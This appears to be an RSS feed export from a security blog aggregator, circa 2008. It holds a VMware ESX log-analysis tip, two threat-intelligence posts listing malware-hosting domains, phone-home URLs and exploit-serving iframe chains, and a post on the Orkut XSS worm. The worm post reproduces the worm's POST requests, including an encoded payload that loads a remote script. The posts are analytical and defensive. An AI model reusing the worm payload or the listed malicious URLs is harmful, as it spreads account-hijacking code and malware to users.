<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title><![CDATA[[SecurityRatty] tag: uid]]></title>
    <link>http://securityratty.com/tag/uid</link>
    <description></description>
    <pubDate>Fri, 09 Nov 2007 07:00:00 +0000</pubDate>
    <generator>iRatty Engine</generator>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <item>
      <title><![CDATA[Anton Security Tip of the Day #16: Virtually There - Journey Into VMWare ESX Log Analysis]]></title>
      <link>http://securityratty.com/article/f1bc531055cb81363944693871c78d6a</link>
      <guid>http://securityratty.com/article/f1bc531055cb81363944693871c78d6a</guid>
      <description><![CDATA[Following the new &quot;tradition&quot; of posting a security tip of the week (mentioned here , here ; SANS jumped in as well ), I decided to follow along and join the initiative. One of the bloggers called it...]]></description>
      <content:encoded><![CDATA[<p>Following the new &quot;tradition&quot; of posting a security tip of the week (mentioned <a href="http://www.stillsecureafteralltheseyears.com/ashimmy/2006/08/pay_it_forward__1.html">here</a>, <a href="http://mcwresearch.com/archives/265">here </a>; <a href="http://isc.sans.org/diary.php?storyid=1530&amp;rss">SANS jumped in as well</a>), I decided to follow along and join the initiative. One of the bloggers called it <a href="http://mcwresearch.com/archives/255">&quot;pay it forward</a>&quot; to the community.</p>  <p>So, Anton Security Tip of the Day #16: <strong>Virtually Screwed - Journey Into VMWare ESX Log Analysis</strong></p>  <p>CISecurty guide for VMWare (<u><a href="http://www.cisecurity.org/bench_vm.html">here</a></u>) and DISA STIG for virtual machines (<u><a href="http://iase.disa.mil/stigs/stig/index.html">here</a></u>) both mandate collection and analysis of VM platform logs; none goes into enough details on what to look for in logs. Let's try to shed some light on security-focused log analysis of VMWare ESX v. 3.x logs. </p>  <p>First, at least until ESXi becomes the default choice, one needs to keep in mind that ESX as &quot;Linux-inside&quot; and thus diving into <em>/var/log</em> will not reveal any &quot;alien technology&quot; (well, not much :-)). However, one of the most useful logs is <em>/var/log/hostd.N </em>which is not a descendant of Linux standard logs. Extensive VM event records are written into this file. </p>  <p>Let's focus on various types of logins to the ESX platform and identify logs that indicate a successful and failed attempts to log in. Here are a few useful examples to analyze:</p>  <p><strong>Successful logins:</strong></p>  <ul>   <li><em>May 30 09:20:42 esx2 su(pam_unix)[9405]: session opened for user root by jhonny(uid=1626)</em> </li> </ul>  <p>This is a classic Linux root login message; you can watch for these by searching VMWare ESX logs for &quot;session AND opened AND user AND root.&quot;&#160; Notice the user name of the user who switched to root.</p>  <ul>   <li><em>May 30 09:20:34 esx2 sshd(pam_unix)[9364]: session opened for user jhonny by (uid=0)</em> </li> </ul>  <p>This is also a classic Linux message for a normal (non-root) user login.</p>  <ul>   <li><em>[2008-05-25 06:57:48.774 'ha-eventmgr' 111639472 info] Event 40645 : User jhonny@1.1.1.1 logged in</em> </li> </ul>  <p>This is a VMWare -specific application login to ESX. You can track such events by username, by event ID or by keywords &quot;event AND logged AND user&quot; (if you are using search)</p>  <p><strong>Failed logins:</strong></p>  <ul>   <li><em>May 30 09:20:31 esx2 sshd[9356]: Failed password for jhonny from 1.1.1.1 port 54773 ssh2</em> </li> </ul>  <p>Another classic Linux message from the ESX system; a failure to login due to incorrect password. </p>  <ul>   <li><em>May 27 12:06:59 esx2 sshd[4756]: Failed password for illegal user jonny from 1.1.1.1 port 30594 ssh2</em> </li> </ul>  <p>A message indicating a failure to login due to incorrect username (note a typo). </p>  <ul>   <li><em>May 25 07:03:48 esx1 sudo:&#160;&#160;&#160;&#160; jhonny : 3 incorrect password attempts ; TTY=pts/0 ; PWD=/var/log ; USER=root ; COMMAND=/bin/bash</em> </li> </ul>  <p>This ESX Linux platform message should also be familiar to Linux/Unix admins: it indicates multiple sudo password failures; look for such messages in the logs.</p>  <p>BTW, do you <a href="http://chuvakin.blogspot.com/2006/09/anton-security-tip-of-day-3-watch-for.html">need to be reminded</a> to track NOT only failed, but also successful login events?!</p>  <p>Overall, you must prepare for the future by learning to analyze&#160; VMWare logs, just like you handled &quot;legacy OS&quot;, such as Linux/Unix and Windows.</p>  <p>As I said before, I am tagging all the tips on <a href="http://del.icio.us/anton18">my del.icio.us feed</a>; here is the link: <a href="http://del.icio.us/anton18/security+tips">All Security Tips of the Day</a>.</p>  <p></p>  <div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:54499c21-dd11-4ff7-9221-4cf2ec0c95fe" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px">Technorati tags: <a href="http://technorati.com/tags/security" rel="tag">security</a>, <a href="http://technorati.com/tags/tips" rel="tag">tips</a>, <a href="http://technorati.com/tags/logging" rel="tag">logging</a>, <a href="http://technorati.com/tags/log%20management" rel="tag">log management</a></div> <script type="text/javascript"><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");<br />document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script><script type="text/javascript"><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />var pageTracker = _gat._getTracker("UA-101395-5");<br />pageTracker._initData();<br />pageTracker._trackPageview();</script>  <div class="blogger-post-footer">About me: http://www.chuvakin.org</div><div class="feedflare">
<a href="http://feeds.feedburner.com/~f/AntonChuvakinPersonalBlog?a=fhl1bK"><img src="http://feeds.feedburner.com/~f/AntonChuvakinPersonalBlog?i=fhl1bK" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AntonChuvakinPersonalBlog?a=xW7PtK"><img src="http://feeds.feedburner.com/~f/AntonChuvakinPersonalBlog?i=xW7PtK" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AntonChuvakinPersonalBlog?a=qHcDbK"><img src="http://feeds.feedburner.com/~f/AntonChuvakinPersonalBlog?i=qHcDbK" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AntonChuvakinPersonalBlog/~4/374532539" height="1" width="1"/>]]></content:encoded>
      <pubDate>Mon, 25 Aug 2008 08:11:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/vmware">vmware</category>
      <category domain="http://securityratty.com/tag/vmware esx">vmware esx</category>
      <category domain="http://securityratty.com/tag/analyze vmware logs">analyze vmware logs</category>
      <category domain="http://securityratty.com/tag/analyze">analyze</category>
      <category domain="http://securityratty.com/tag/vmware esx logs">vmware esx logs</category>
      <category domain="http://securityratty.com/tag/esx">esx</category>
      <category domain="http://securityratty.com/tag/security tip">security tip</category>
      <category domain="http://securityratty.com/tag/anton security tip">anton security tip</category>
      <category domain="http://securityratty.com/tag/user">user</category>
      <source url="http://feeds.feedburner.com/~r/AntonChuvakinPersonalBlog/~3/374532539/anton-security-tip-of-day-16-virtually.html">Anton Security Tip of the Day #16: Virtually There - Journey Into VMWare ESX Log Analysis</source>
    </item>
    <item>
      <title><![CDATA[Lazy Summer Days at UkrTeleGroup Ltd]]></title>
      <link>http://securityratty.com/article/6215851b79c397250e5f1b5a07d047b4</link>
      <guid>http://securityratty.com/article/6215851b79c397250e5f1b5a07d047b4</guid>
      <description><![CDATA[The result of building extra confidence into your malicious hosting provider's ability to remain online , is a scammy ecosystem that's constantly jumping from one netblock to another, whose very...]]></description>
      <content:encoded><![CDATA[<a href="http://bp0.blogger.com/_wICHhTiQmrA/SIXAHtEXmGI/AAAAAAAAB8c/T7J6WUyV9a4/s1600-h/avxp08.png" imageanchor="1" style="border: 0pt none ; background-color: transparent; clear: left; margin-bottom: 1em; float: left; margin-right: 1em;"><img src="http://bp0.blogger.com/_wICHhTiQmrA/SIXAHtEXmGI/AAAAAAAAB8c/qDKYv6DcETA/s200-R/avxp08.png" style="border: 0pt none ;" /></a>The result of building extra confidence into your <a href="http://ddanchev.blogspot.com/2008/06/malicious-isps-you-rarely-see-in-any.html">malicious hosting provider's ability to remain online</a>, is a scammy ecosystem that's constantly jumping from one netblock to another, whose very latest exploit URLs and rogue security software nexto to the codecs served, always represent a decent sample of malicious activities to analyze.<br />
<br />
<a href="http://ddanchev.blogspot.com/2008/02/geolocating-malicious-isps.html">UkrTeleGroup Ltd</a> (<i>85.255.112.0-85.255.127.255 UkrTeleGroup UkrTeleGroup Ltd. 27595 ASN ATRIVO</i>), a personal favorite due to its historical connection with the Russian Business Network, and hosting provider for a countless of number of injected and malware embedded campaigns during the last two years, is still keeping it as lazy as possible, a laziness allowing you to easily expose a great deal of the malicious activities going on there, and establish the connections between the hosting provider, its current and historical customers.<br />
<br />
<a href="http://bp0.blogger.com/_wICHhTiQmrA/SIXJBRIoucI/AAAAAAAAB8k/r9Y6CPtAE0Y/s1600-h/rogue_software_codecs_UkrTeleGroup.JPG" imageanchor="1" style="border: 0pt none ; background-color: transparent; clear: left; margin-bottom: 1em; float: left; margin-right: 1em;"><img src="http://bp0.blogger.com/_wICHhTiQmrA/SIXJBRIoucI/AAAAAAAAB8k/cHCoWY8V1RY/s200-R/rogue_software_codecs_UkrTeleGroup.JPG" style="border: 0pt none ;" /></a>Take <b>microsoftcodecs.com</b> (88.214.198.220) for instance, and <b>avxp08.com</b> where it redirects the user into yet another rogue security software. <b>avxp08.com</b> is responding to 194.110.162.114; 216.195.41.11; 216.195.41.11; 216.240.139.169, and to UkrTeleGroup Ltd's 85.255.117.163.<br />
<br />
Each of these IPs are also being shared by other rogue software and fake codecs simultaneously :<br />
<br />
(216.195.41.11)<br />
<b>antivirusxp2008 .com<br />
malwareprotector2008 .com<br />
antivirxp08 .com<br />
antivirusxp08 .com<br />
avxp08 .com<br />
youpornztube .com<br />
winifixer .com<br />
advancedxpfixer .com<br />
encountertracker .ws</b><br />
<br />
It gets even more UkrTeleGroup Ltd related upon the malware (Trojan:Win32/Tibs.HK) served at the <b>avxp08.com </b>gets sandboxed. The malware phones back home <b>stat.avxp08 .com </b>(85.255.118.172)<b> </b>announcing the successful infection <b>winifixer .com/log2.php?affid=980382bdb4e7b779ff6308b0b706571c&amp;uid=06f80eaf-94d7-4b8b-9cf0-5c6f75d2c69f&amp;tm=1211198022</b> (85.255.118.171), and the scammy ecosystem continues using the same hosting provider. The rest of the rogue tools are also using the same subdomain structure, and IP, <b>stat.antivirusxp2008 .com</b> (85.255.118.172), <b>stat.antivirxp08 .com</b> (85.255.118.172), <b>stat.antivirusxp08 .com</b> (85.255.118.172) in order to phone back home.<br />
<br />
<div class="separator" style="text-align: left; clear: both;"><a href="http://bp3.blogger.com/_wICHhTiQmrA/SIXMeEAQTmI/AAAAAAAAB8s/bax-CAw9xJ8/s1600-h/fake_windows_media_player.JPG" imageanchor="1" style="border: 0pt none ; background-color: transparent; clear: left; margin-bottom: 1em; float: left; margin-right: 1em;"><img src="http://bp3.blogger.com/_wICHhTiQmrA/SIXMeEAQTmI/AAAAAAAAB8s/_hv8u7SKjP8/s200-R/fake_windows_media_player.JPG" style="border: 0pt none ;" /></a></div><b>winifixer .com</b>, a well known rogue software, is entirely relying on UkrTeleGroup's hosting services hosted at 85.255.117.163; 85.255.118.171; 85.255.120.115; 85.255.120.139; 216.195.41.11 pinpoing several other obvious and well known netblocks hosting anything starting from fake celebrity video sites serving fake Windows Media Player videos, to rogue security software and live exploit URLs. Take for instance their efficiency centered approach to park numerous malicious domains on a single IP, like 85.255.117.218 in this case :<br />
<br />
<b>bestfunnyvids .com<br />
celebs69 .com<br />
celebsnofake .com<br />
celebstape .com<br />
celebsvidsonline .com<br />
codecservice1 .com<br />
freevidshardcore .com<br />
newfunnyvideo .com<br />
sexlookupworld .com<br />
starfeed1 .com<br />
starfeed2 .com<br />
topdirectdownload .com&nbsp;&nbsp;&nbsp; <br />
topsearchresults1 .com<br />
topsoftupdate .com<br />
yourfavoritetube .com</b><br />
<br />
Now that it's becoming clear who's providing the hosting infrastructure, it's perhaps also worth pointing out who's using the hosting infrastructure to serve rogue security software and fake codecs on the basis of participating in an affiliate program? A great number of domains used by the rogue security software are registered by <b>krab@thekrab.com</b> behind which is supposidely Mishakov Viktor Ivanovich <b>support@tobesoftware.com</b>, and ironically <b>tobesoftware.com</b> is again hosting within UkrTeleGroup (85.255.120.115). The personal efforts into the number of the typosquatted domains and the persistence applied when registered and spamming them across the web, is the result of the incentives provided to them by the affiliate program they participate in.<div class="feedflare">
<a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=CNeYgJ"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=CNeYgJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=UZqVKJ"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=UZqVKJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=FhKPZj"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=FhKPZj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=6DFhuj"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=6DFhuj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=pxNm7J"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=pxNm7J" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=cYGFFJ"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=cYGFFJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=S2jU9j"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=S2jU9j" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/DanchoDanchevOnSecurityAndNewMedia/~4/342489167" height="1" width="1"/>]]></content:encoded>
      <pubDate>Tue, 22 Jul 2008 03:12:02 +0000</pubDate>
      <category domain="http://securityratty.com/tag/ukrtelegroup">ukrtelegroup</category>
      <category domain="http://securityratty.com/tag/codecs">codecs</category>
      <category domain="http://securityratty.com/tag/fake codecs simultaneously">fake codecs simultaneously</category>
      <category domain="http://securityratty.com/tag/rogue security software">rogue security software</category>
      <category domain="http://securityratty.com/tag/ukrtelegroup ukrtelegroup">ukrtelegroup ukrtelegroup</category>
      <category domain="http://securityratty.com/tag/fake codecs">fake codecs</category>
      <category domain="http://securityratty.com/tag/home">home</category>
      <category domain="http://securityratty.com/tag/home stat">home stat</category>
      <category domain="http://securityratty.com/tag/scammy ecosystem">scammy ecosystem</category>
      <source url="http://feeds.feedburner.com/~r/DanchoDanchevOnSecurityAndNewMedia/~3/342489167/lazy-summer-days-at-ukrtelegroup-ltds.html">Lazy Summer Days at UkrTeleGroup Ltd</source>
    </item>
    <item>
      <title><![CDATA[Serving Malware Through Advertising Networks]]></title>
      <link>http://securityratty.com/article/611f196eeff4dd95bd37c6eaecb46ad4</link>
      <guid>http://securityratty.com/article/611f196eeff4dd95bd37c6eaecb46ad4</guid>
      <description><![CDATA[In need of fresh binaries and malware serving domains? Start feeding your honeyfarm, or professional interests by participating in an affiliate network -- just like pharmaceutical scammers do --...]]></description>
      <content:encoded><![CDATA[<a href="http://bp0.blogger.com/_wICHhTiQmrA/R7m1iqd7loI/AAAAAAAABYQ/4o0oOsOSTkY/s1600-h/xbanners.jpg"><img id="BLOGGER_PHOTO_ID_5168361654504363650" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://bp0.blogger.com/_wICHhTiQmrA/R7m1iqd7loI/AAAAAAAABYQ/4o0oOsOSTkY/s200/xbanners.jpg" border="0" /></a>In need of fresh binaries and malware serving domains? Start feeding your honeyfarm, or professional interests by participating in an affiliate network -- just like <a href="http://ddanchev.blogspot.com/2007/10/incentives-model-for-pharmaceutical.html">pharmaceutical scammers</a> do -- that's literally serving live exploit URLs and dropping malware in real-time.<br /><br />Upon registering at xbanners.biz, you're enticed to IFRAME your web property, and point to <strong>xtraff.biz/banner.php</strong> (67.228.11.176, also responds to <strong>interace8.com</strong> and <strong>cheap-web-host.net</strong>) and <strong>xtraff.biz/ads2.htm</strong> currently trying to exploit MDAC ActiveX code execution (CVE-2006-0003) through the Neosploit malware kit. <strong>Banner.php</strong> is for the time being loading IFRAMEs to :<br /><br /><strong>funppc.com/cgi-bin/pl/affiliates/referral.cgi?referral=3098</strong> (63.219.176.194)<br /><strong>look.fxlayer.net/hop.php</strong> (87.98.255.2)<br /><strong>hartnetwork.org/cgi-bin/in.cgi?p=1018b</strong> (216.246.31.236) - Neosploit malware kit<br /><br />Moreover, two other IFRAMEs within banner.php attempt to load a multitude of exploit serving URLs. xtraff.biz/ads1.htm loads :<br /><br /><strong>winhex.org/tds/in.cgi?9</strong> (85.255.120.194; the <a href="http://ddanchev.blogspot.com/2007/12/have-your-malware-in-timely-fashion.html">malware embedded attack againt the French government's Lybia site</a>)<br /><strong>195.93.218.25/kam/index.php</strong><br /><br />xtraff.biz/ads2.htm loads :<br /><br /><strong>todub.com/tod.php?username=kamilet</strong> (72.167.54.150)<br /><strong>search-fantasy.info/go.php?u=fxlayer</strong> (208.109.178.115)<br /><strong>netsearch.cc/go.php?u=fxlayer</strong> (208.109.90.122)<br /><strong>upperhits.com/index.php?id=kamilet</strong> (72.52.154.96)<br /><strong>itsptp.com/promote.php?uid=160</strong> (72.232.241.20)<br /><strong>validall.com/portal.php?ref=kamilet</strong> (207.150.179.58)<br /><strong>feisearch.com/portal.php?r=0&amp;username=fxlayer</strong> (63.246.133.63)<br /><strong>g2xml.com/portal.php?r=0&amp;username=kamilet</strong> (74.86.191.98)<br /><br />xtraff.biz/ad3.htm loads :<br /><br /><strong>utracker.pl/stat.php</strong><br /><strong>xtraff.biz/filtercountry.php</strong><br /><br />Upon registering at the second affiliate program, the participant is asked to use the following URL to redirect traffic to <strong>asearchfor.com/search.php</strong> (207.226.164.195); <strong>getmysearch.com/search.php</strong> (207.226.164.195); <strong>merrysearch.com</strong> (207.226.164.194). Known domains/IPs with bad reputation. It gets even more interesting as we try to further expand the affiliate program under the many other different domain names they use such as :<br /><br /><strong>buckspacks.com</strong><br /><strong>serious-partners.com</strong><br /><strong>real-bucks.com</strong><br /><strong>funsempire.com</strong><br /><strong>czcash.com</strong><br /><strong>extreme-traffic.net</strong><br /><strong>funsempire.com</strong><br /><strong>risecash.com<br />favouritecash.com</strong><br /><strong>xxl-cash.com</strong><br /><strong>partner.loveplanet.ru</strong><br /><strong>partner.gameboss.ru</strong><br /><br />Why would they bother sharing the revenues with other parties at the first place? To hedge of risk of getting caught serving malware directly, so what they're basically doing is risk-forwarding the serving process to each and every participant in the affiliate network. The bottom line - <strong>xbanners.biz</strong> is a frontend to <strong>xtraff.biz</strong>'s malicious practices, and <strong>xtraff.biz</strong> itself is a frontend to<strong> FunPPC.com</strong>, among the many affiliate programs that once establishing trust with a web site owner, start abusing it by randomly serving live exploir URLs and dropping malware.<div class="feedflare">
<a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=hQHL5dE"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=hQHL5dE" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=I8VCl2E"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=I8VCl2E" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=meXloYe"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=meXloYe" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=ZiF4Wee"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=ZiF4Wee" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=oWduhSE"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=oWduhSE" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=Y3gZhKE"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=Y3gZhKE" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=hOi7mSe"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=hOi7mSe" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/DanchoDanchevOnSecurityAndNewMedia/~4/237071528" height="1" width="1"/>]]></content:encoded>
      <pubDate>Mon, 18 Feb 2008 07:58:53 +0000</pubDate>
      <category domain="http://securityratty.com/tag/malware">malware</category>
      <category domain="http://securityratty.com/tag/php attempt">php attempt</category>
      <category domain="http://securityratty.com/tag/php">php</category>
      <category domain="http://securityratty.com/tag/neosploit malware kit">neosploit malware kit</category>
      <category domain="http://securityratty.com/tag/xtraff">xtraff</category>
      <category domain="http://securityratty.com/tag/exploit">exploit</category>
      <category domain="http://securityratty.com/tag/live exploit urls">live exploit urls</category>
      <category domain="http://securityratty.com/tag/urls">urls</category>
      <category domain="http://securityratty.com/tag/htm">htm</category>
      <source url="http://feeds.feedburner.com/~r/DanchoDanchevOnSecurityAndNewMedia/~3/237071528/serving-malware-through-advertising.html">Serving Malware Through Advertising Networks</source>
    </item>
    <item>
      <title><![CDATA[Orkut XSS Worm]]></title>
      <link>http://securityratty.com/article/754be452d38ea7e3dce5991e705fe089</link>
      <guid>http://securityratty.com/article/754be452d38ea7e3dce5991e705fe089</guid>
      <description><![CDATA[Several people sent this to me over the last few days but for those of you who hadnt seen it in the myriad of different places it showed up, Orkut was hacked using a XSS worm . Orkut is Googles...]]></description>
      <content:encoded><![CDATA[<p>Several people sent this to me over the last few days but for those of you who hadn&#8217;t seen it in the <A HREF="http://www.theregister.co.uk/2007/12/19/worm_hits_orkut/">myriad</A> of <A HREF="http://www.gnucitizen.org/blog/the-orkut-xss-worm">different</A> places it showed up, <A HREF="http://www.darkreading.com/document.asp?doc_id=141761&#038;WT.svl=news1_2">Orkut was hacked using a XSS worm</a>.  Orkut is Google&#8217;s version of social networking.  It was big for a while, but I think everyone bailed in favor of the more open MySpace and Facebook&#8217;s of the world.  It&#8217;s still widely used by the Portuguese population though.</p>
<p>Rough estimates are north of 300,000 people compromised, even though it was caught relatively quickly.  It&#8217;s amazing how fast these things grow in environments like that, where the medium for spreading is based on a technology that almost everyone uses and works across platform.  I think the only thing stopping this from being more virulent is making it cross platform, and making the social engineering a little more seamless.</p>
<p>Here are the POST requests sent in by Lavakumar:</p>
<p>
<blockquote>POST request sent by the worm to add the victim to the &#8220;Infectados pelo Vírus do Orkut&#8221; community. The community id is &#8220;44001818&#8243;.</p>
<p>POST /CommunityJoin.aspx?cmm=44001818 HTTP/1.1<br />
Host: www.orkut.com<br />
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11<br />
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />
Accept-Language: en-us,en;q=0.5<br />
Accept-Encoding: gzip,deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Keep-Alive: 300<br />
Proxy-Connection: keep-alive<br />
Content-Type: application/x-www-form-urlencoded<br />
Referer: http://www.orkut.com/Scrapbook.aspx?uid=<-xxxxxxxxxxxxxxxxxxxx-><br />
Cookie: -xxxxxxxxx-<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Length: 98</p>
<p>POST_TOKEN=0B57493EBE09C74A3D69298F67635479&#038;signature=Bm1YihIUAe5I%2BAvfFH7v4bjtdrI%3D&#038;Action.join</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>POST request sent by the worm to submit itself to the scrapbook of the victim&#8217;s friends.</p>
<p>POST /Scrapbook.aspx HTTP/1.1<br />
Host: www.orkut.com<br />
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11<br />
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />
Accept-Language: en-us,en;q=0.5<br />
Accept-Encoding: gzip,deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Keep-Alive: 300<br />
Proxy-Connection: keep-alive<br />
Content-Type: application/x-www-form-urlencoded<br />
Referer: http://www.orkut.com/Scrapbook.aspx?uid=-xxxxxxxxx-<br />
Cookie: -xxxxxxxxx-<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Length: 146</p>
<p>Action.submit=1&#038;POST_TOKEN=0B57493EBE09C74A3D69298F67635479&#038;scrapText=2008%20vem%20ai&#8230;%20que%20ele%20comece%20mto%20bem%20para%20vc%3Cbr%2F%3E%5Bsilver%5DRL%20Wed%20Dec%2019%202007%2009%3A52%3A21%20GMT%2B0530%20(India%20Standard%20Time)%5B%2Fsilver%5D%3Cbr%2F%3E%3Cembed%20src%3D%22http%3A%2F%2Fwww.orkut.com%2FLoL.aspx%22%20type%3D%22application%2Fx-shockwave-flash%22%20wmode%3D%22transparent&#8217;)%3B%20script%3Ddocument.createElement(&#8217;script&#8217;)%3Bscript.src%3D&#8217;http%3A%2F%2Ffiles.myopera.com%2Fvirusdoorkut%2Ffiles%2Fvirus.js&#8217;%3Bdocument.getElementsByTagName(&#8217;head&#8217;)%5B0%5D.appendChild(script)%3Bescape(&#8217;%22%20%20width%3D%221%22%20height%3D%221%22%3E%3C%2Fembed%3E&#038;signature=Bm1YihIUAe5I%2BAvfFH7v4bjtdrI%3D&#038;toUserId=14668216</p></blockquote>
<p>And the code can be found in many places around the net, but I also threw up a copy on the <A HREF="http://sla.ckers.org/forum/read.php?2,14477">sla.ckers.org XSS worm</A> section for anyone looking for example worm code.  I&#8217;m trying to keep that section up to date with non-theoretical, but practical and real world worm code so we can all see it.  Google has fixed this issue, but it is unclear what the fallout of the damage will be.</p>
<!--Thu, 27 December 2007 09:12:07 +000-->]]></content:encoded>
      <pubDate>Thu, 20 Dec 2007 13:18:37 +0000</pubDate>
      <category domain="http://securityratty.com/tag/orkut">orkut</category>
      <category domain="http://securityratty.com/tag/worm">worm</category>
      <category domain="http://securityratty.com/tag/post">post</category>
      <category domain="http://securityratty.com/tag/community">community</category>
      <category domain="http://securityratty.com/tag/orkut community">orkut community</category>
      <category domain="http://securityratty.com/tag/post scrapbook">post scrapbook</category>
      <category domain="http://securityratty.com/tag/xss worm">xss worm</category>
      <category domain="http://securityratty.com/tag/post requests">post requests</category>
      <category domain="http://securityratty.com/tag/worm code">worm code</category>
      <source url="http://ha.ckers.org/blog/20071220/orkut-xss-worm/">Orkut XSS Worm</source>
    </item>
    <item>
      <title><![CDATA[Limiting Process Privileges Should Be Easier]]></title>
      <link>http://securityratty.com/article/407e398245208b5da8b40077dc0ce480</link>
      <guid>http://securityratty.com/article/407e398245208b5da8b40077dc0ce480</guid>
      <description><![CDATA[I was reading DJB's retrospective on 10 years of qmail security and while I'll comment on a few of his thoughts in a separate post, one thing that struck me was his discussion of how to create a...]]></description>
